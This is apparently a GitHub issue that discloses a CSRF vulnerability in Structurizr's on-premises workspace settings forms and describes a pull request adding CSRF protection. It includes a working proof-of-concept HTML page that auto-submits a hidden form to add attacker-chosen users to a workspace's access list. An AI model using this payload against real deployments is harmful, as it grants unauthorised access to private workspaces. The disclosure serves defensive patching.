onpremises icon indicating copy to clipboard operation
onpremises copied to clipboard

Published 20 hours ago • verified publisher icon structurizr

Add CSRF protection to workspace settings forms

Open yogur opened this issue 8 months ago • 2 comments

Problem

Forms that change workspace settings are vulnerable to CSRF. A successful CSRF attack can lead to changing workspace user access list and to making private workspaces public.

The vulnerability can be reproduced on the form for changing user access by following these steps:

  1. Copy the following code and save it in a new html file:
<html>
  <body>
    <form action="http://localhost:8080/workspace/1/users" method="POST">
      <input type="hidden" name="writeUsers" value="structurizr&#13;&#10;csrf&#45;write&#64;gmail&#46;com&#13;&#10;" />
      <input type="hidden" name="readUsers" value="csrf&#45;read&#64;gmail&#46;com&#13;&#10;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
  1. Change the workspace ID number in form action from 1 to an ID number of an existing workspace.
  2. Open the html file in a browser that's already authenticated to structurizr and click the submit button.
  3. Note how the list of users that have access to the workspace has been updated.

Fix

The changes in the pull request add CSRF protection to seven forms.

I built the code locally and tested the fix to make sure it works.

yogur avatar Nov 01 '23 13:11 yogur